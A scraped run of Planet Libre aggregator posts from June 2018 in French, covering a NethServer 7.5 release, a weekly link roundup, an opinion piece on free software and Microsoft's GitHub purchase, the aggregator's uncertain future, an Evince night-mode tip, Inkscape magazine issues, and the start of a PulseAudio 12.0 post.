<p> </p>
<ul><li>NextCloud 13.04</li>
</ul><p><a href="media/dd3e3b8d.6aee4f91d59cb279a92cbfada26be4f3336f807d_1_690x337.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/6aee4f91d59cb279a92cbfada26be4f3336f807d_1_690x337.png"><img src="media/c9aed4f7.6aee4f91d59cb279a92cbfada26be4f3336f807d_1_690x337-300x147.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/6aee4f91d59cb279a92cbfada26be4f3336f807d_1_690x337-300x147.png" alt="" width="300" height="147" srcset="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/6aee4f91d59cb279a92cbfada26be4f3336f807d_1_690x337-300x147.png 300w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/6aee4f91d59cb279a92cbfada26be4f3336f807d_1_690x337.png 690w" sizes="(max-width: 300px) 100vw, 300px"></a></p>
<p> </p>
<ul><li>Mattermost</li>
</ul><p><a href="https://about.mattermost.com/">Alternative opensource à slack</a>, indispensable :)</p>
<p><a href="media/5a10c6b8.38806d8bbecfec91a777fd2fb43b4f0689cc2517_1_690x449.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/38806d8bbecfec91a777fd2fb43b4f0689cc2517_1_690x449.png"><img src="media/3fb95834.38806d8bbecfec91a777fd2fb43b4f0689cc2517_1_690x449-300x195.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/38806d8bbecfec91a777fd2fb43b4f0689cc2517_1_690x449-300x195.png" alt="" width="300" height="195" srcset="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/38806d8bbecfec91a777fd2fb43b4f0689cc2517_1_690x449-300x195.png 300w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/38806d8bbecfec91a777fd2fb43b4f0689cc2517_1_690x449.png 690w" sizes="(max-width: 300px) 100vw, 300px"></a></p>
<p> </p>
<ul><li>NethServer HotSync</li>
</ul><div>
<div dir="ltr"><span lang="fr">NethServer HotSync vise à réduire les temps d’arrêt en cas de panne. En utilisant hotsync, celui ci est réduit au temps nécessaire pour activer le serveur de rechange. <span>Les utilisateurs peuvent recommencer à travailler en utilisant les données vieilles de quelques minutes avant le crash.</span></span></div>
<div dir="ltr"></div>
</div>
<div dir="ltr"></div>
<div dir="ltr"></div>
<ul><li dir="ltr">QOS améliorée</li>
</ul><p><a href="media/f5df818c.dda6b59b9dbf3c7391e64db4a7f1a917a1b4b134_1_690x254.jpg" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/dda6b59b9dbf3c7391e64db4a7f1a917a1b4b134_1_690x254.jpg"><img src="media/4b6b1b67.dda6b59b9dbf3c7391e64db4a7f1a917a1b4b134_1_690x254-300x110.jpg" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/dda6b59b9dbf3c7391e64db4a7f1a917a1b4b134_1_690x254-300x110.jpg" alt="" width="300" height="110" srcset="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/dda6b59b9dbf3c7391e64db4a7f1a917a1b4b134_1_690x254-300x110.jpg 300w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/dda6b59b9dbf3c7391e64db4a7f1a917a1b4b134_1_690x254.jpg 690w" sizes="(max-width: 300px) 100vw, 300px"></a></p>
<p> </p>
<ul><li>Nom de domaine avec wildcard</li>
</ul><p>Permet de ne pas devoir préciser tous les sous domaines lors de la création du nom de domaine.</p>
<p><a href="media/ac7aab01.2f4b902346aee5e6b3590952e72c19b763aa6fb0_1_690x258.jpg" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/2f4b902346aee5e6b3590952e72c19b763aa6fb0_1_690x258.jpg"><img src="media/4f09aa59.2f4b902346aee5e6b3590952e72c19b763aa6fb0_1_690x258-300x112.jpg" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/2f4b902346aee5e6b3590952e72c19b763aa6fb0_1_690x258-300x112.jpg" alt="" width="300" height="112" srcset="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/2f4b902346aee5e6b3590952e72c19b763aa6fb0_1_690x258-300x112.jpg 300w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/2f4b902346aee5e6b3590952e72c19b763aa6fb0_1_690x258.jpg 690w" sizes="(max-width: 300px) 100vw, 300px"></a></p>
<p> </p>
<ul><li>TLS Configuration</li>
</ul><p>Vous pouvez renforcer les paramètres TLS et restreindre les attaques possibles, en contre parti les vieux clients comme XP et Internet explorer ne pourront plus utiliser vos sites internet.</p>
<p><a href="media/6c82ec4b.9528188d6877b70543bf6e550c758a84745a099e_1_690x146.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/9528188d6877b70543bf6e550c758a84745a099e_1_690x146.png"><img src="media/ecfbe0f5.9528188d6877b70543bf6e550c758a84745a099e_1_690x146-300x63.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/9528188d6877b70543bf6e550c758a84745a099e_1_690x146-300x63.png" alt="" width="300" height="63" srcset="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/9528188d6877b70543bf6e550c758a84745a099e_1_690x146-300x63.png 300w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/9528188d6877b70543bf6e550c758a84745a099e_1_690x146.png 690w" sizes="(max-width: 300px) 100vw, 300px"></a></p>
<p> </p>
<ul><li>Serveur de fichiers windows</li>
</ul><div>
<div>
<div><span lang="fr"><span>Les privilèges utilisateurs des dossiers partagés windows sont maintenant gérables via l’interface Web.</span></span></div>
<div><a href="media/52723226.52a61a8625a9bcf30a038464ee633c6ce09032bc_1_690x373.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/52a61a8625a9bcf30a038464ee633c6ce09032bc_1_690x373.png"><img src="media/b54aa2fd.52a61a8625a9bcf30a038464ee633c6ce09032bc_1_690x373-300x162.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/52a61a8625a9bcf30a038464ee633c6ce09032bc_1_690x373-300x162.png" alt="" width="300" height="162" srcset="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/52a61a8625a9bcf30a038464ee633c6ce09032bc_1_690x373-300x162.png 300w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/52a61a8625a9bcf30a038464ee633c6ce09032bc_1_690x373.png 690w" sizes="(max-width: 300px) 100vw, 300px"></a></div>
<div></div>
</div>
</div>
<div></div>
<ul><li>Et beaucoup plus encore</li>
</ul><p>Énormément de petite améliorations sont disponibles, toutes ne peuvent pas être retranscrites….</p>
<p> </p>
<ul><li>Téléchargez et testez</li>
</ul><p>Essayez par vous même, dans Virtualbox ou directement sur un serveur, venez partager vos impressions et chercher de solutions sur</p>
<p><a href="https://community.nethserver.org/">le forum de la communauté</a></p>
<p><a href="http://docs.nethserver.org/en/latest/">la documentation technique</a></p>
<p><a href="https://community.nethserver.org/clicks/track?url=https%3A%2F%2Fsourceforge.net%2Fprojects%2Fnethserver%2Ffiles%2Fnethserver-7.5.1804-x86_64.iso%2Fdownload&amp;post_id=65244&amp;topic_id=10079"><img src="media/cb9651e2.28a745649b316099de53a488ee5912e32654baf7.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/28a745649b316099de53a488ee5912e32654baf7.png" alt="" width="63" height="63"></a></p>
<div><i>NethServer 7.5 (993MB) </i></div>
<p><strong>Hashes</strong></p>
<ul><li>sha1 cdb9e302d563d5abb500286946e88e33ec81058d</li>
<li>md5 002228c20d0702b98568aff67319d5eb</li>
</ul><p><strong>Torrent</strong></p>
<ul><li>Torrent link: <a href="http://packages.nethserver.org/nethserver/iso/nethserver-7.5.1804-x86_64.iso.torrent">nethserver-7.5.1804-rc-x86_64.iso.torrent <span title="5 clics">5</span></a></li>
<li>infohash 50109f72fe394e2baed8378612859aa4261aeab4</li>
</ul>
<p><img src="media/a4703277.1be3cefe3c0e087f283fd7702b8f7c76" data-original-source="http://cdn.libravatar.org/avatar/1be3cefe3c0e087f283fd7702b8f7c76" alt="Gravatar de St&eacute;phane de Labrusse" class="gravatar" /><br/><i>Original post of <a href="http://geekeries.de-labrusse.fr/?p=3338" title="Visit the source">Stéphane de Labrusse</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>St&eacute;phane de Labrusse : <a href="">Rspamd: un nouveau jouet pour Nethserver</a> (24/05/2018)</li><li>St&eacute;phane de Labrusse : <a href="">La m&eacute;t&eacute;ore Nethserver</a> (24/05/2018)</li><li>St&eacute;phane de Labrusse : <a href="">nethserver, une distribution serveur</a> (21/11/2017)</li><li>St&eacute;phane de Labrusse : <a href="">Un nouveau HowTo Anti-Prism</a> (29/07/2013)</li><li>St&eacute;phane de Labrusse : <a href="">Prism, Tempora, Snowden, Obama, la NSA et nous!</a> (23/08/2013)</li></ul></div></p>


title: Journal du hacker : Liens intéressants Journal du hacker semaine #24
uri: 2018-06-18-Journal-du-hacker-Liens-intéressants-Journal-du-hacker-semaine-24
feed_id:
https://blog.journalduhacker.net/index.php?article166/liens-interessants-journal-du-hacker-semaine-24-2018

url:
https://blog.journalduhacker.net/index.php?article166/liens-interessants-journal-du-hacker-semaine-24-2018

content:
<p>Pour la 24ème semaine de l'année 2018, voici <strong>12 liens</strong> intéressants que vous avez peut-être ratés, relayés par <a href="https://www.journalduhacker.net/">le Journal du hacker</a>, votre source d’informations pour le Logiciel Libre francophone !</p>

<a href="https://www.journalduhacker.net/"><img src="media/01f45034.logo-journal-du-hacker.png" data-original-source="https://blog.journalduhacker.net/data/medias/logo-journal-du-hacker.png"></a>

<ul><li><a href="https://www.journalduhacker.net/s/rw6lkg/utilisateurs_de_visual_studio_code">Utilisateurs de Visual Studio Code, attention !</a></li>
<li><a href="https://www.journalduhacker.net/s/mmnkew/et_je_suis_pass_https_avec_docker_et">Et je suis passé à https avec Docker et Traefik</a></li>
<li><a href="https://www.journalduhacker.net/s/sentlg/controverse_autour_de_linux_4_17_la_derni">Controverse autour de Linux 4.17 : la dernière mouture du kernel supporte Speck, un algorithme de chiffrement rejeté par l'ISO</a></li>
<li><a href="https://www.journalduhacker.net/s/ovqgwq/la_d_mat_rialisation_chronique_de_la_folie">La dématérialisation, chronique de la folie ordinaire</a></li>
<li><a href="https://www.journalduhacker.net/s/pa7jjz/d_ployer_un_blog_avec_hakyll_gitlab_ci_nix">Déployer un blog avec Hakyll, Gitlab-ci, Nix... (article + vidéo)</a></li>
<li><a href="https://www.journalduhacker.net/s/hrywrk/que_reste_t_il_du_logiciel_libre">Que reste-t-il du logiciel libre ?</a></li>
<li><a href="https://www.journalduhacker.net/s/isnjku/le_logiciel_libre_dont_on_ne_peut_utiliser">Le logiciel libre dont on ne peut utiliser les libertés</a></li>
<li><a href="https://www.journalduhacker.net/s/fg7uis/chromium_iridium_meilleur_que_firefox">Chromium Iridium meilleur que Firefox</a></li>
<li><a href="https://www.journalduhacker.net/s/u0ak9j/mises_jour_automatiques_sous_centos_avec">Mises à jour automatiques sous CentOS avec yum-cron</a></li>
<li><a href="https://www.journalduhacker.net/s/b66bvg/aurait_il_fallu_faire_ipv6_compatible">Aurait-il fallu faire IPv6 « compatible » avec IPv4 ?</a></li>
<li><a href="https://www.journalduhacker.net/s/yuy3gz/la_carte_de_fid_lit_et_le_profilage">La carte de fidélité et le profilage - bienvenue à bord</a></li>
<li><a href="https://www.journalduhacker.net/s/9vzp9n/activitypub">ActivityPub !</a></li>
</ul><p>Pour ne plus rater aucun article de la communauté francophone, voici :</p>

<ul><li><a href="https://www.journalduhacker.net/rss">Le flux RSS du Journal du hacker</a></li>
<li><a href="https://twitter.com/journalduhacker">Le compte Twitter du Journal du hacker</a></li>
<li><a href="https://framasphere.org/u/journalduhacker">Le compte Diaspora* du Journal du hacker</a></li>
<li><a href="https://framapiaf.org/@journalduhacker">Le compte Mastodon du Journal du hacker</a></li>
</ul><p>De plus le site web du Journal du hacker est « adaptatif (responsive) ». N’hésitez pas à le consulter depuis votre smartphone ou votre tablette !</p>

<p>Le Journal du hacker fonctionne de manière collaborative, grâce à la participation de ses membres. <a href="https://www.journalduhacker.net/invitations/request">Rejoignez-nous</a> pour proposer vos contenus à partager avec la communauté du Logiciel Libre francophone et faire connaître vos projets !</p>

<p><strong>Et vous ? Qu’avez-vous pensé de ces articles ?</strong> N’hésitez pas à réagir directement dans les commentaires de l’article sur le Journal du hacker ou bien dans les commentaires de ce billet :)</p>
<p><img src="media/ffe97a17.7916ee3cafa0bc3e9583bedad876dcd5" data-original-source="http://cdn.libravatar.org/avatar/7916ee3cafa0bc3e9583bedad876dcd5" alt="Gravatar de Journal du hacker" class="gravatar" /><br/><i>Original post of <a href="https://blog.journalduhacker.net/index.php?article166/liens-interessants-journal-du-hacker-semaine-24-2018" title="Visit the source">Journal du hacker</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Journal du hacker : <a href="">Liens int&eacute;ressants Journal du hacker semaine #24</a> (20/06/2016)</li><li>Journal du hacker : <a href="">Liens int&eacute;ressants Journal du hacker semaine #24</a> (19/06/2017)</li><li>Carl Chenet : <a href="">Liens int&eacute;ressants Journal Du Pirate semaine #24</a> (12/06/2015)</li></ul></div></p>


feed_id: http://alterlibriste.free.fr/index.php?post/2018/06/18/Que-reste-t-il-du-logiciel-libre-Nous-%21
title: alterlibriste : Que reste-t-il du logiciel libre ? Nous !
uri: alterlibriste-Que-reste-t-il-du-logiciel-libre-Nous
url: http://alterlibriste.free.fr/index.php?post/2018/06/18/Que-reste-t-il-du-logiciel-libre-Nous-%21
content:
<p><img src="media/b440237e.cropped-openwash11.jpg" data-original-source="https://openwashriveira.files.wordpress.com/2015/07/cropped-openwash11.jpg" alt=""></p>


<p>Malgré mon relatif silence de ces derniers mois, je continue à écouter des podcasts et impossible de ne pas réagir à l’émission Du grain à moudre passée sur France Culture, intitulée "<a href="https://www.franceculture.fr/emissions/du-grain-a-moudre/que-reste-t-il-du-logiciel-libre">Que reste-t-il du logiciel libre ?</a>"</p> <p>Commençons par dire qu’une analyse en a déjà été faite par <a href="https://cyrille-borne.com/pluxml/index.php?article168/tomber-se-relever-recommencer">Cyrille</a> ; je reprends son analyse en intégralité, car elle est perdue au milieu de beaucoup d’autres choses :</p>


<blockquote><p>C’est assez terrible, c’est presque douloureux. Les intervenants sont Amaelle Guiton Journaliste à Libération, Bernard Ourghanlian directeur Technique et Sécurité à Microsoft France, et Pierre-Yves Gosset délégué général de Framasoft. C’est terrible parce que lorsque Bernard Ourghanlian explique que le logiciel libre a gagné, parle avec facilité de l’époque propriétaire de Microsoft comme étant révolue, évoque le cloud, on a tout à fait compris que ce n’est pas le libre qui a gagné mais Microsoft. C’est terrible parce qu’Amaelle Guiton met le doigt exactement là où ça fait mal en rappelant que les libristes étaient tous sur Github et que gueuler parce qu’une plateforme propriétaire est achetée par une autre boîte propriétaire c’est tout simplement ridicule. C’est terrible parce que le message de PYG qu’il essaie de placer au niveau philosophique ne passe pas, parce que lorsque le journaliste qui se met dans la position de celui qui ne sait pas fait remarquer que d’utiliser un logiciel propriétaire avec du suivi, du service, c’est franchement plus rassurant, il n’y a rien à répondre. C’est terrible parce qu’on comprend que le logiciel libre a remporté la guerre technique à savoir qu’un code confronté à un ensemble de personnes, interne au projet ou extérieur c’est la meilleure manière de renforcer le code, mais que les idées qui sont derrières sont soufflées au profit de l’efficacité. C’est terrible parce que l’émission est tellement pointue qu’il n’y a que ceux qui connaissent le sujet qui peuvent la comprendre, ce sentiment de plus en plus palpable que l’informatique s’éloigne de l’utilisateur final quand le ministère de l’éducation nationale fantasme une nation de développeurs.</p></blockquote>


<p>Cyrille s’ennuie un peu dans sa tour d’ivoire de blogueur abandonné par tous (moi y compris), il ne m’en voudra donc pas de le titiller un peu et de reprendre les critiques qu’il aime poser sur les billets de <a href="https://www.blog-libre.org/auteurs/cascador/">Cascador</a> à savoir un manque de profondeur dans l’analyse. Par ailleurs, Microsoft ne parle jamais de logiciel libre mais d’open source (et encore, pas open pour tout le monde, sinon ça se saurait). Sinon, je partage son point de vue catastrophique du résultat de cette émission, mais il faut pousser plus loin l’analyse.</p>


<p>On avait une très bonne journaliste qui connait le milieu hacker (mais parle malheureusement de Richard Stallman au passé) et une pointure du milieu associatif légitimé par les nombreuses actions de Framasoft face à un seul représentant du monde propriétaire ; ils auraient pu n’en faire qu’une bouchée et pourtant même avec un animateur compatissant envers le logiciel libre, ils se sont tollés comme pas permis. D’abord en restant peu compréhensibles envers le grand public et ensuite en n’abordant pas les points cruciaux et fondamentaux de l’intérêt du libre vis-à-vis du propriétaire lavé à la lessive open source.</p>


<p>Il faut dire que le gars de chez Microsoft avait préparé ses cartouches et sachant qu’il serait attaqué, a joué finement le côté pacifiste enthousiaste, on a été des méchants, mais on est devenu gentil. Personnellement, le sujet Github, je m’en balance complètement sachant que je ne suis pas codeur et qu’il y a eu un précédant avec SourceForge. Comme le dit bien Amaëlle Guiton, difficile de comprendre pourquoi les développeurs continuent à se centraliser dans des structures propriétaires. Ce n’est donc ni le premier, ni le dernier événement de ce genre.</p>


<p>Par contre, dans sa grande amabilité, le gars de chez Microsoft a donné la raison pour laquelle ils ont mis autant d’argent sur une structure si peu rentable. Ils ont loupé le tournant de l’informatique mobile, ils reconnaissent que leur OS est trop pourri pour les serveurs au point de préférer utiliser du Linux, ils ont vu arriver les réseaux sociaux sans comprendre ce qui arrivait mais c’est bien là qu’ils ont choisi d’attaquer. Laissant à Facebook et Google tous les aspects vie privée et monétisation des données personnelles pour le marketing, ils misent désormais tout sur les profils professionnels (rachat de LinkedIn) et les compétences de développement grâce au vivier représenté par GitHub. Comme il le dit, l’important ce n’est pas le code mais les interactions entre les développeurs et le fait que la plate-forme est devenue pour eux plus parlante qu’un CV par leurs participations et commits sur différents projets. Ils sont pris au piège s’ils veulent avoir un avenir professionnel dans le milieu. Et que les libristes à la petite semaine s’en aille en fulminant, il n’en a cure, ceux-là ne travaillent de toute façon pas pour des projets <em>bankable</em>.</p>


<p>Mais revenons au sujet du débat, que reste-t-il au logiciel libre ? Quand l’animateur rétorque aux libristes que certes c’est difficile de quitter Windows par le poids des habitudes, mais alors, il est aussi difficile de quitter un logiciel libre comme Firefox si on s’y est trop habitué, il aurait pu être pertinent de dire que pas tant que ça puisque Chrome a tout balayé sur son passage et surtout, il aurait été intéressant de parler d’interopérabilité. Quitter un logiciel propriétaire, c’est aussi difficile parce que les formats sont fermés et c’est bien pour ça que la suite Office de Microsoft reste la référence en entreprise.</p>


<p>Enfin, pourquoi ne pas parler de la liberté des données quand les géants du web vantent les bienfaits du cloud. On nous vend du service tout en gardant nos données qu’on leur donne bien volontiers et sans possibilité de redevenir acteur de ce qui nous appartient. Comment est-ce possible que des défenseurs aguerris du logiciel libre n’est pas pu au moins évoquer ces avantages même s’ils ne sont pas forcément à la portée de tous ?</p>


<p>Bref, une émission malgré tout très instructive pour les connaisseurs puisqu’elle renseigne sur les intentions de l’<a href="https://fr.wikipedia.org/wiki/Openwashing">openwashing</a> tout en mesurant la faible capacité de réaction en face.<br>
Mais avant de vouloir sauver le monde, si on laissait déjà ceux qui sont motivés se sauver eux-mêmes ?</p>
<p><img src="media/2a099e18.9ff6af75660c788842bdb4e186b8909f" data-original-source="http://cdn.libravatar.org/avatar/9ff6af75660c788842bdb4e186b8909f" alt="Gravatar de alterlibriste" class="gravatar" /><br/><i>Original post of <a href="http://alterlibriste.free.fr/index.php?post/2018/06/18/Que-reste-t-il-du-logiciel-libre-Nous-%21" title="Visit the source">alterlibriste</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>alterlibriste : <a href="">Emission sp&eacute;ciale de NipSource consacr&eacute;e &agrave; Firefox OS</a> (23/03/2015)</li><li>Planet Libre : <a href="">Br&egrave;ves du Planet Libre - Monday 17, October 2016</a> (17/10/2016)</li><li>Damien : <a href="">pourquoi encourager le libre dans les associations ?</a> (17/04/2014)</li></ul></div></p>


feed_id: http://blog.planet-libre.org/2018/06/19/avenir-du-planet-libre/
title: Planet Libre : Avenir du Planet-Libre ?
uri: Planet-Libre-Avenir-du-Planet-Libre
url: http://blog.planet-libre.org/2018/06/19/avenir-du-planet-libre/
content:
<p>Bonjour à tous,</p>
<p>Le Planet-Libre est à un tournant de son existence. En effet, nous sommes de moins en moins nombreux à pouvoir effectuer les tâches liées à la vie du Planet-Libre ce qui pose quelques questions.</p>
<p>Pour les tâches communes comme l’acceptation/modification de flux ou encore la modération, ça ne demande que très peu de temps, donc ce n’est pas vraiment un problème, on n’est pas forcément réactif, mais on fait quand même.</p>
<p>Le vrai problème se situe au niveau de notre temps global et surtout de nos compétences.</p>
<p>Au niveau de l’administration du serveur, ce n’était pas un souci pour l’instant car c’était assuré de manière gracieuse par la société <a href="https://www.odiso.com/">Odiso</a> afin de contribuer à sa façon aux logiciels libres.</p>
<p>Je quitte cette société dans 2 semaines, mais il est prévu qu’<a href="https://www.odiso.com/">Odiso</a> conserve la gestion du serveur ou à minima n’arrête pas sans me prévenir au préalable.</p>
<p>Le gros problème du Planet-Libre est qu’il ne dispose plus des développeurs d’origine qui avaient créé le projet BilboPlanet (https://github.com/theclimber/Bilboplanet) et on n’a plus vraiment de développeurs tout court.</p>
<p>Le socle du Planet-Libre est ultra vieillissant et cela pose de nombreux problèmes comme la stabilité (qui commence à faire défaut) et surtout la sécurité car en ces temps de GDPR &amp; co, nous sommes responsables de la sécurité.</p>
<p>Nous sommes responsables de la sécurité et de la confidentialité de vos données personnelles que nous ne stockons qu’à des fins opérationnelles (mail, adresse du site, votre pseudo)</p>
<p>Bref, la question se pose de savoir si on arrête ou pas.</p>
<p>Ce qui est certain, c’est que sans refonte globale du Planet-Libre, il n’est plus possible de continuer ainsi ne serait-ce que par respect pour vous les utilisateurs du PL.</p>
<p>Plutôt que de simplement mettre fin à ce service, nous souhaitons vous demander votre avis sur la suite.</p>
<ul><li>Connaissez-vous une solution technique qui pourrait permettre d’avoir les grosses fonctions du PL, à savoir un agrégateur de flux avec possibilité de modération ?</li>
<li>Est-ce qu’un ou plusieurs développeurs se sentiraient prêt à recréer un Bilboplanet from scratch qui deviendrait le nouveau PL ?</li>
<li>Est-ce que des personnes souhaitent participer aux tâches de Run du PL ?</li>
</ul><p>Nous sommes désolé de devoir prendre ce genre de décision et préférerions conserver ce service, mais ce n’est malheureusement plus possible en l’état.</p>
<p>Merci d’avance de vos retours</p>
<p><img src="media/39e36007.754dc5064d6c809129010f98e0616725" data-original-source="http://cdn.libravatar.org/avatar/754dc5064d6c809129010f98e0616725" alt="Gravatar de Planet Libre" class="gravatar" /><br/><i>Original post of <a href="http://blog.planet-libre.org/2018/06/19/avenir-du-planet-libre/" title="Visit the source">Planet Libre</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://www.gnomelibre.fr/2018/06/obtenir-un-mode-nuit-dans-le-visionneur-de-documents/
title: Okki : Obtenir un mode nuit dans le Visionneur de documents
uri: Okki-Obtenir-un-mode-nuit-dans-le-Visionneur-de-documents
url: https://www.gnomelibre.fr/2018/06/obtenir-un-mode-nuit-dans-le-visionneur-de-documents/
content:
<p>Même si vous avez opté pour un thème sombre, lorsque vous ouvrez un fichier PDF dans le <a href="https://wiki.gnome.org/Apps/Evince">Visionneur de documents</a>, le contenu garde un fond blanc éclatant par défaut. Alors si vous avez le malheur de devoir lire de longues documentations techniques, vous pourriez rapidement avoir mal aux yeux. Mais heureusement, contrairement à <a href="https://www.macg.co/logiciels/2018/06/negative-un-lecteur-de-pdf-avec-un-mode-nuit-102616">la concurrence</a>, vous n’aurez pas besoin de changer de lecteur <img src="media/f0105b2f.1f601.png" data-original-source="https://s.w.org/images/core/emoji/2.4/72x72/1f601.png" alt="😁"></p>
<p>Il vous suffit de vous rendre dans les options d’affichage et d’activer les couleurs inversées :</p>
<figure><a href="media/07a1864d.evince_328_theme_sombre_couleurs_inversees.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/06/evince_328_theme_sombre_couleurs_inversees.png"><img src="media/b1a9b83b.evince_328_theme_sombre_couleurs_inversees-1024x963.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/06/evince_328_theme_sombre_couleurs_inversees-1024x963.png" alt="" width="660" height="621" srcset="https://www.gnomelibre.fr/wp-content/uploads/2018/06/evince_328_theme_sombre_couleurs_inversees-1024x963.png 1024w, https://www.gnomelibre.fr/wp-content/uploads/2018/06/evince_328_theme_sombre_couleurs_inversees-300x282.png 300w, https://www.gnomelibre.fr/wp-content/uploads/2018/06/evince_328_theme_sombre_couleurs_inversees-768x722.png 768w, https://www.gnomelibre.fr/wp-content/uploads/2018/06/evince_328_theme_sombre_couleurs_inversees.png 1038w" sizes="(max-width: 660px) 100vw, 660px"></a><figcaption>Le Visionneur de documents avec un thème sombre et les couleurs inversées</figcaption></figure>
<p><img src="media/bb7cd4d3.f4241788ba5559af3601b72220cbad09" data-original-source="http://cdn.libravatar.org/avatar/f4241788ba5559af3601b72220cbad09" alt="Gravatar de Okki" class="gravatar" /><br/><i>Original post of <a href="https://www.gnomelibre.fr/2018/06/obtenir-un-mode-nuit-dans-le-visionneur-de-documents/" title="Visit the source">Okki</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: http://www.fullcirclemag.fr/?post/2018/06/21/Rien-que-pour-vous...
title: Full Circle Magazine FR : Rien que pour vous...
uri: Full-Circle-Magazine-FR-Rien-que-pour-vous
url: http://www.fullcirclemag.fr/?post/2018/06/21/Rien-que-pour-vous...
content:
<p>... quatre numéros spéciaux d'Inkscape, les numéros 7 à 10, à visionner ou à télécharger sur notre page <a href="http://www.fullcirclemag.fr/?pages/Num%C3%A9ros" hreflang="fr" title="Lire ou télécharger">NUMÉROS</a> ou, bien entendu, à télécharger directement en cliquant sur la photo de la couverture du numéro que vous voulez récupérer.</p>


<p><a href="http://www.fullcirclemag.fr/?download/568" hreflang="fr" title="NS Inkscape 07"><img src="media/2fd794e2.Inkscape7fr.png" data-original-source="http://www.fullcirclemag.fr/dotclear/public/Numeros/Couvertures_PNG/Inkscape7fr.png" alt="Inkscape7fr.png" title="Inkscape7fr.png, juin 2018"></a></p>


<p><a href="http://www.fullcirclemag.fr/?download/569" hreflang="fr" title="NS Inkscape 08"><img src="media/8b678210.Inkscape8fr.png" data-original-source="http://www.fullcirclemag.fr/dotclear/public/Numeros/Couvertures_PNG/Inkscape8fr.png" alt="Inkscape8fr.png" title="Inkscape8fr.png, juin 2018"></a></p>


<p><a href="http://www.fullcirclemag.fr/?download/570" hreflang="fr" title="NS Inkscape 9"><img src="media/eb2fb883.Inkscape9fr.png" data-original-source="http://www.fullcirclemag.fr/dotclear/public/Numeros/Couvertures_PNG/Inkscape9fr.png" alt="Inkscape9fr.png" title="Inkscape9fr.png, juin 2018"></a></p>


<p><a href="http://www.fullcirclemag.fr/?download/571" hreflang="fr" title="NS Inkscape 10"><img src="media/292dbd4f.Inkscape10fr.png" data-original-source="http://www.fullcirclemag.fr/dotclear/public/Numeros/Couvertures_PNG/Inkscape10fr.png" alt="Inkscape10fr.png" title="Inkscape10fr.png, juin 2018"></a></p>


<p>Amusez-vous bien...</p>


<p>Avec un grand merci à d52fr qui a créé ces NS !</p>
<p><img src="media/163a60d9.dd0e1a508d7347d53e0da0678bfd7aff" data-original-source="http://cdn.libravatar.org/avatar/dd0e1a508d7347d53e0da0678bfd7aff" alt="Gravatar de Full Circle Magazine FR" class="gravatar" /><br/><i>Original post of <a href="http://www.fullcirclemag.fr/?post/2018/06/21/Rien-que-pour-vous..." title="Visit the source">Full Circle Magazine FR</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Full Circle Magazine FR : <a href="">Voici, enfin, le num&eacute;ro 52 !</a> (04/11/2011)</li><li>Full Circle Magazine FR : <a href="">Et voici.. le num&eacute;ro 53 !</a> (13/12/2011)</li><li>Full Circle Magazine FR : <a href="">Le num&eacute;ro 54... enfin !</a> (18/01/2012)</li><li>Full Circle Magazine FR : <a href="">Sortie du num&eacute;ro 56</a> (09/03/2012)</li><li>Full Circle Magazine FR : <a href="">Voici le 57 !</a> (29/03/2012)</li></ul></div></p>


feed_id: https://www.gnomelibre.fr/2018/06/sortie-de-pulseaudio-12-0/
title: Okki : Sortie de PulseAudio 12.0
uri: Okki-Sortie-de-PulseAudio-12-0
url: https://www.gnomelibre.fr/2018/06/sortie-de-pulseaudio-12-0/
content:
<p>Le <a href="https://fr.wikipedia.org/wiki/PulseAudio">serveur de sons</a> étant un élément central de nos systèmes et de l’expérience utilisateur qui en découle, il est normal d’en parler un peu. Et depuis ses débuts chaotiques au début des années 2000 où il a fait couler beaucoup d’encre, on peut dire qu’il fonctionne désormais plutôt bien et qu’il sait se faire oublier.</p>
<p>Au programme de cette nouvelle version, nous pouvons donc citer :</p>
<ul><li>un meilleur rapport de la <a href="https://fr.wikipedia.org/wiki/Latence_(informatique)">latence</a> (et donc une meilleure synchronisation audio/vidéo) pour le profil <a href="https://fr.wikipedia.org/wiki/Bluetooth">Bluetooth</a> <a href="https://fr.wikipedia.org/wiki/A2DP">A2DP</a></li>
